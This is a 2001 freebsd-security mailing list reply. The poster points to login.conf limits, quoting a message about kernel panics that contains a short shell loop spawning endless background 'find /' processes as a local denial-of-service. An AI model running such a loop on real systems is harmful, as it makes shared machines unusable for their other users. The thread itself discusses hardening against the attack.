From owner-freebsd-security Tue Jul 10 21: 5: 3 2001 Delivered-To: freebsd-security@freebsd.org Received: from mta4.rcsntx.swbell.net (mta4.rcsntx.swbell.net [151.164.30.28]) by hub.freebsd.org (Postfix) with ESMTP id 788E637B405 for ; Tue, 10 Jul 2001 21:05:00 -0700 (PDT) (envelope-from ryanpek@swbell.net) Received: from mhx800 ([64.219.216.69]) by mta4.rcsntx.swbell.net (Sun Internet Mail Server sims.3.5.2000.03.23.18.03.p10) with SMTP id <0GGA002XGJD5S7@mta4.rcsntx.swbell.net> for freebsd-security@FreeBSD.ORG; Tue, 10 Jul 2001 23:05:30 -0500 (CDT) Date: Tue, 10 Jul 2001 23:03:23 -0500 From: Ryan Subject: Re: Kernel Panic To: freebsd-security@FreeBSD.ORG Message-id: <000901c109be$6e1a5420$45d8db40@mhx800> MIME-version: 1.0 X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Content-type: text/plain; charset="iso-8859-1" Content-transfer-encoding: 7bit X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 References: X-Priority: 3 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org login.conf my boy.. ----- Original Message ----- From: "Robert E. Lee" To: "Dag-Erling Smorgrav" Cc: "Ted Mittelstaedt" ; ; Sent: Tuesday, July 10, 2001 10:54 PM Subject: Re: Kernel Panic > On 24 Jun 2001, Dag-Erling Smorgrav wrote: > > "Ted Mittelstaedt" writes: > > A disk error would not crash the system. Please stop spouting > > unfounded (though highly imaginative) bullshit. > > Not to get into a pissing contest, but I have had disk errors in the past > that made my system crash. > > On the original thread, when you have a local account on a box, you can > usually use this script as an effective DoS: > > $ more foo.sh > #!/bin/sh > > while [ 1 -eq 1 ]; do > find / -name foo & > done > > The default settings for most Unix OS's allow that type of script to > consume enough resources to make the system unusable. > > Robert E. Lee > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message